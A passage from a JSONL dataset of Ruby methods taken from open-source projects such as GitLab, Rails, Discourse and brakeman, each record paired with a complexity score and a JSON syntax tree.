2013 prevents this kind of join based update in\n # ActiveRecord. https://github.com/rails/rails/issues/13496\n # Ideally it would be:\n # `incorrect_traversal_ids.update_all('traversal_ids = cte.traversal_ids')`\n sql = <<-SQL\n UPDATE namespaces\n SET traversal_ids = cte.traversal_ids\n FROM (#{recursive_traversal_ids(node)}) as cte\n WHERE namespaces.id = cte.id\n AND namespaces.traversal_ids::bigint[] <> cte.traversal_ids\n SQL\n\n # Hint: when a user is created, it also creates a Namespaces::UserNamespace in\n # `ensure_namespace_correct`. This method is then called within the same\n # transaction of the user INSERT.\n Gitlab::Database::QueryAnalyzers::PreventCrossDatabaseModification.temporary_ignore_tables_in_transaction(\n %w[namespaces], url: 'https://gitlab.com/gitlab-org/gitlab/-/issues/424279'\n ) do\n Namespace.connection.exec_query(sql)\n end\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"sync_traversal_ids_tree!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" UPDATE namespaces\\n\"]},{\"type\":\"str\",\"children\":[\" SET traversal_ids = cte.traversal_ids\\n\"]},{\"type\":\"str\",\"children\":[\" FROM (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"recursive_traversal_ids\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"str\",\"children\":[\") as cte\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE namespaces.id = cte.id\\n\"]},{\"type\":\"str\",\"children\":[\" AND namespaces.traversal_ids::bigint[] <> cte.traversal_ids\\n\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"QueryAnalyzers\"]},\"PreventCrossDatabaseModification\"]},\"temporary_ignore_tables_in_transaction\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"namespaces\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"https://gitlab.com/gitlab-org/gitlab/-/issues/424279\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespace\"]},\"connection\"]},\"exec_query\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]}]}]}","id":"99837328-cd30-4e4d-a8c9-bd711fcd5607"} {"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/plugins/plugin_manager.rb","start_line":63,"raw_source":"def available_plugins\n available_gems.keep_if do |current|\n current.start_with?(self.class.plugin_prefix)\n end\n end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"available_plugins\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_gems\"]},\"keep_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},\"start_with?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"plugin_prefix\"]}]}]}]}","id":"19d332a6-671d-4b28-8197-d62698f02f90"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/report/result.rb","start_line":186,"raw_source":"def each_direct_result(_cached = false)\n return enum_for(__method__) unless block_given?\n\n yield self\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"each_direct_result\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_cached\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enum_for\",{\"type\":\"send\",\"children\":[null,\"__method__\"]}]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"self\",\"children\":[]}]}]}]}","id":"d2ba4c2a-2e19-41a3-b654-4075d265bce2"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_options_helper_test.rb","start_line":1113,"raw_source":"def test_collection_select_with_blank_and_style\n @post = Post.new\n @post.author_name = \"Babe\"\n\n assert_dom_equal(\n \"<select id=\\\"post_author_name\\\" name=\\\"post[author_name]\\\" style=\\\"width: 200px\\\"><option value=\\\"\\\" label=\\\" \\\"></option>\\n<option value=\\\"<Abe>\\\"><Abe></option>\\n<option value=\\\"Babe\\\" selected=\\\"selected\\\">Babe</option>\\n<option value=\\\"Cabe\\\">Cabe</option></select>\",\n collection_select(\"post\", \"author_name\", dummy_posts, \"author_name\", \"author_name\", { include_blank: true }, { \"style\" => \"width: 200px\" })\n )\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_collection_select_with_blank_and_style\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"author_name=\",{\"type\":\"str\",\"children\":[\"Babe\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<select id=\\\"post_author_name\\\" name=\\\"post[author_name]\\\" style=\\\"width: 200px\\\"><option value=\\\"\\\" label=\\\" \\\"></option>\\n<option value=\\\"<Abe>\\\"><Abe></option>\\n<option value=\\\"Babe\\\" selected=\\\"selected\\\">Babe</option>\\n<option value=\\\"Cabe\\\">Cabe</option></select>\"]},{\"type\":\"send\",\"children\":[null,\"collection_select\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"author_name\"]},{\"type\":\"send\",\"children\":[null,\"dummy_posts\"]},{\"type\":\"str\",\"children\":[\"author_name\"]},{\"type\":\"str\",\"children\":[\"author_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_blank\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"style\"]},{\"type\":\"str\",\"children\":[\"width: 200px\"]}]}]}]}]}]}]}","id":"fbbba02f-5bbc-4a84-9771-88b51236811f"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/whatsapp/phone_info_service.rb","start_line":31,"raw_source":"def find_phone_data(phone_numbers)\n return nil if phone_numbers.blank?\n\n if @phone_number_id.present?\n phone_numbers.find { |phone| phone['id'] == @phone_number_id } || phone_numbers.first\n else\n phone_numbers.first\n end\n end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_phone_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"phone_numbers\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phone_numbers\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@phone_number_id\"]},\"present?\"]},{\"type\":\"or\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phone_numbers\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"phone\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phone\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]},\"==\",{\"type\":\"ivar\",\"children\":[\"@phone_number_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phone_numbers\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phone_numbers\"]},\"first\"]}]}]}]}","id":"c94012d9-4deb-4c4a-b173-06d7eff3b85d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/namespaces/link_paths/group_namespace_links_type.rb","start_line":32,"raw_source":"def rss_path\n url_helpers.group_work_items_path(group, format: :atom)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"rss_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_helpers\"]},\"group_work_items_path\",{\"type\":\"send\",\"children\":[null,\"group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"atom\"]}]}]}]}]}","id":"f5c98bd0-3a4d-4e47-b448-00c638ac4a2e"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_retire_task.rb","start_line":61,"raw_source":"def before_ae_starts(_options)\n reload\n if state.to_s.downcase.in?(%w[pending queued])\n _log.info(\"Executing #{request_class::TASK_DESCRIPTION} request: [#{description}]\")\n update_and_notify_parent(:state => \"active\", :status => \"Ok\", :message => \"In Process\")\n end\n end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"before_ae_starts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reload\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"state\"]},\"to_s\"]},\"downcase\"]},\"in?\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"pending\"]},{\"type\":\"str\",\"children\":[\"queued\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_class\"]},\"TASK_DESCRIPTION\"]}]},{\"type\":\"str\",\"children\":[\" request: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"description\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"send\",\"children\":[null,\"update_and_notify_parent\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"str\",\"children\":[\"active\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"Ok\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"In Process\"]}]}]}]}]},null]}]}]}","id":"10a3ec0a-5680-4eed-a76a-f7f8400ebe91"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pages/url_builder.rb","start_line":125,"raw_source":"def port\n config.port\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"port\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"port\"]}]}","id":"337cfc45-130a-4a7f-a0f4-9b051f42f704"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_xml/issue_writer.rb","start_line":153,"raw_source":"def topic_reference_link(topic_node)\n target = fetch(topic_node, \"ReferenceLink\")\n target.content = url_helpers.work_package_url(work_package)\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"topic_reference_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[null,\"fetch\",{\"type\":\"lvar\",\"children\":[\"topic_node\"]},{\"type\":\"str\",\"children\":[\"ReferenceLink\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"content=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_helpers\"]},\"work_package_url\",{\"type\":\"send\",\"children\":[null,\"work_package\"]}]}]}]}]}","id":"2697674a-d228-4526-aa53-6f8f838314e0"} {"repo_name":"discourse","file_path":"./repos/discourse/app/queries/reports/list_query.rb","start_line":44,"raw_source":"def legacy?\n SiteSetting.use_legacy_pageviews &&\n type.in?(%w[consolidated_page_views consolidated_page_views_browser_detection])\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"legacy?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"use_legacy_pageviews\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"in?\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"consolidated_page_views\"]},{\"type\":\"str\",\"children\":[\"consolidated_page_views_browser_detection\"]}]}]}]}]}","id":"3e740f03-8d01-4c8b-be23-59d559b6fa6a"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/tasks/database_tasks_test.rb","start_line":548,"raw_source":"def test_creates_configurations_with_local_host\n @configurations[\"development\"][\"host\"] = \"localhost\"\n\n with_stubbed_configurations_establish_connection do\n assert_called(ActiveRecord::Tasks::DatabaseTasks, :create) do\n ActiveRecord::Tasks::DatabaseTasks.create_all\n end\n end\n end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_creates_configurations_with_local_host\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@configurations\"]},\"[]\",{\"type\":\"str\",\"children\":[\"development\"]}]},\"[]=\",{\"type\":\"str\",\"children\":[\"host\"]},{\"type\":\"str\",\"children\":[\"localhost\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_stubbed_configurations_establish_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},{\"type\":\"sym\",\"children\":[\"create\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"create_all\"]}]}]}]}]}","id":"7f4ecc83-4b2a-4611-925a-7bbb90020ea0"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/modules/loader/executable.rb","start_line":19,"raw_source":"def loadable_module?(parent_path, type, module_reference_name, cached_metadata: nil)\n full_path = cached_metadata&.path || module_path(parent_path, type, module_reference_name)\n script_path?(full_path)\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"loadable_module?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent_path\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"module_reference_name\"]},{\"type\":\"kwoptarg\",\"children\":[\"cached_metadata\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"full_path\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cached_metadata\"]},\"path\"]},{\"type\":\"send\",\"children\":[null,\"module_path\",{\"type\":\"lvar\",\"children\":[\"parent_path\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"module_reference_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"script_path?\",{\"type\":\"lvar\",\"children\":[\"full_path\"]}]}]}]}","id":"d0f1026e-f31b-456b-bd60-851ceb631526"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/flows/event_definer.rb","start_line":200,"raw_source":"def prompt_for_product_categories\n new_page!(on_step: 'Categories', steps: STEPS)\n cli.say <<~TEXT\n #{format_info('FEATURE CATEGORY')}\n Refer to https://handbook.gitlab.com/handbook/product/categories for information on current product categories.\n\n TEXT\n\n event.product_categories = prompt_for_feature_categories(\n 'Which feature categories best fit this event?',\n [event.product_group]\n )\n end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"prompt_for_product_categories\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_page!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_step\"]},{\"type\":\"str\",\"children\":[\"Categories\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"steps\"]},{\"type\":\"const\",\"children\":[null,\"STEPS\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cli\"]},\"say\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_info\",{\"type\":\"str\",\"children\":[\"FEATURE CATEGORY\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Refer to https://handbook.gitlab.com/handbook/product/categories for information on current product categories.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event\"]},\"product_categories=\",{\"type\":\"send\",\"children\":[null,\"prompt_for_feature_categories\",{\"type\":\"str\",\"children\":[\"Which feature categories best fit this event?\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event\"]},\"product_group\"]}]}]}]}]}]}","id":"4707da2b-1b4a-4019-9912-0ba53510175d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241023085526_add_foreign_key_to_packages_conan_file_metadata_for_package_revision.rb","start_line":10,"raw_source":"def up\n add_concurrent_foreign_key :packages_conan_file_metadata, :packages_conan_package_revisions,\n column: :package_revision_id, on_delete: :cascade\n add_concurrent_index :packages_conan_file_metadata, :package_revision_id, name: INDEX_NAME\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"sym\",\"children\":[\"packages_conan_file_metadata\"]},{\"type\":\"sym\",\"children\":[\"packages_conan_package_revisions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"package_revision_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"packages_conan_file_metadata\"]},{\"type\":\"sym\",\"children\":[\"package_revision_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]}]}]}","id":"73becf3b-791e-4004-a4b1-11f9733170aa"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/auth_userid_password.rb","start_line":12,"raw_source":"def self.display_name(number = 1)\n n_('Password', 'Passwords', number)\n end","complexity_score":2.25,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"display_name\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"number\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"n_\",{\"type\":\"str\",\"children\":[\"Password\"]},{\"type\":\"str\",\"children\":[\"Passwords\"]},{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}","id":"f928cc39-0dea-4cf2-adab-ef9d1b493c60"} {"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_parser_regexp.rb","start_line":257,"raw_source":"def test_parse_with_keep_time_key\n conf = {\n 'expression' => %q!/(?<time>.*)/!,\n 'time_format' => \"%d/%b/%Y:%H:%M:%S %z\",\n 'keep_time_key' => 'true',\n }\n d = create_driver(conf)\n text = '28/Feb/2013:12:00:00 +0900'\n d.instance.parse(text) do |_time, record|\n assert_equal text, record['time']\n end\n end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parse_with_keep_time_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conf\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"expression\"]},{\"type\":\"str\",\"children\":[\"/(?<time>.*)/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"time_format\"]},{\"type\":\"str\",\"children\":[\"%d/%b/%Y:%H:%M:%S %z\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_time_key\"]},{\"type\":\"str\",\"children\":[\"true\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"str\",\"children\":[\"28/Feb/2013:12:00:00 +0900\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"str\",\"children\":[\"time\"]}]}]}]}]}]}","id":"99b1cc8b-77c2-4bf2-af87-cddce4fec5df"} {"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_digest_dos.rb","start_line":8,"raw_source":"def run_check\n message = msg(\"Vulnerability in digest authentication \", msg_cve(\"CVE-2012-3424\"), \". Upgrade to \")\n\n if version_between? \"3.0.0\", \"3.0.15\"\n message << msg_version(\"3.0.16\")\n elsif version_between? \"3.1.0\", \"3.1.6\"\n message << msg_version(\"3.1.7\")\n elsif version_between? \"3.2.0\", \"3.2.5\"\n message << msg_version(\"3.2.7\")\n else\n return\n end\n\n if with_http_digest?\n confidence = :high\n else\n confidence = :weak\n end\n\n warn :warning_type => \"Denial of Service\",\n :warning_code => :CVE_2012_3424,\n :message => message,\n :confidence => confidence,\n :link_path => \"https://groups.google.com/d/topic/rubyonrails-security/vxJjrc15qYM/discussion\",\n :gem_info => gemfile_or_environment,\n :cwe_id => [287]\n end","complexity_score":24.3,"ast_json":"{\"type\":\"def\",\"children\":[\"run_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"msg\",{\"type\":\"str\",\"children\":[\"Vulnerability in digest authentication \"]},{\"type\":\"send\",\"children\":[null,\"msg_cve\",{\"type\":\"str\",\"children\":[\"CVE-2012-3424\"]}]},{\"type\":\"str\",\"children\":[\". Upgrade to \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"3.0.0\"]},{\"type\":\"str\",\"children\":[\"3.0.15\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"msg_version\",{\"type\":\"str\",\"children\":[\"3.0.16\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"3.1.0\"]},{\"type\":\"str\",\"children\":[\"3.1.6\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"msg_version\",{\"type\":\"str\",\"children\":[\"3.1.7\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"3.2.0\"]},{\"type\":\"str\",\"children\":[\"3.2.5\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"msg_version\",{\"type\":\"str\",\"children\":[\"3.2.7\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_http_digest?\"]},{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"high\"]}]},{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"weak\"]}]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Denial of Service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"sym\",\"children\":[\"CVE_2012_3424\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"lvar\",\"children\":[\"confidence\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_path\"]},{\"type\":\"str\",\"children\":[\"https://groups.google.com/d/topic/rubyonrails-security/vxJjrc15qYM/discussion\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gem_info\"]},{\"type\":\"send\",\"children\":[null,\"gemfile_or_environment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cwe_id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[287]}]}]}]}]}]}]}","id":"4dfd778c-2477-49ca-8ab5-27e52bf94943"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/controllers/concerns/ai_credit_limit_handler.rb","start_line":14,"raw_source":"def render_credit_limit_error(exception)\n allocation = exception.allocation\n\n details = {}\n if allocation\n details[:reset_time_relative] = allocation.relative_reset_time\n details[:reset_time_absolute] = allocation.formatted_reset_time\n end\n\n render json: {\n error: \"credit_limit_exceeded\",\n message: exception.message,\n details: details,\n },\n status: :too_many_requests\n end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render_credit_limit_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"allocation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"allocation\"]}]},{\"type\":\"lvasgn\",\"children\":[\"details\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allocation\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"reset_time_relative\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allocation\"]},\"relative_reset_time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"reset_time_absolute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allocation\"]},\"formatted_reset_time\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"credit_limit_exceede